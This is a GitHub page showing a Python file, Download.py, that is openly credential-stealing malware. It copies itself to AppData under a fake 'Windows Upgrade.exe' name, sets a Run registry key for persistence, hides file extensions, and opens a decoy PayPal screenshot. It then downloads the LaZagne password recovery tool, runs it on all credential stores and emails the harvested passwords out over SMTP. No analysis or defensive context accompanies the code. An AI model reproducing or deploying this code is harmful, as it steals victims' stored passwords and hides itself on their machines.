-
Notifications
You must be signed in to change notification settings - Fork 0
/
Download.py
53 lines (39 loc) · 1.66 KB
/
Download.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
import requests
import subprocess
import smtplib
import os
import tempfile
import shutil
import sys
class Download:
# Adds Download.exe to windows reg editor for persisitenece
def become_persistent():
Malocation = os.environ["appdata"] + "\\Windows Upgrade.exe"
if not os.path.exists(Malocation):
shutil.copyfile(sys.executable, Malocation)
subprocess.call('reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v update /t REG_SZ /d "' + Malocation + '"', shell=True)
become_persistent()
# Turns file extentions off
subprocess.call("reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v HideFileExt /t REG_DWORD /d 1 /f", shell=True)
file_name = "paypalSS.png"
subprocess.Popen(file_name, shell=True)
def Download(url):
GetResponse = requests.get(url)
filename = url.split("/") [-1]
with open(filename, "wb") as out_file:
out_file.write(GetResponse.content)
print(GetResponse)
def SendMail(email, password, message):
server = smtplib.SMTP("smtp.office365.com", 587)
server.starttls()
server.login(email, password)
server.sendmail(email, email, message)
server.quit()
temp_directory = tempfile.gettempdir() # Get's temp directory to place lazagne.exe in
os.chdir(temp_directory)
Download("http://github.com//AlessandroZ/LaZagne/releases/download/2.4.3/lazagne.exe")
# Runs lazagne.exe on all search types for credential harvesting
result = subprocess.check_output("lazagne.exe all", shell=True)
print(result)
SendMail("", "", result)
os.remove("lazagne.exe")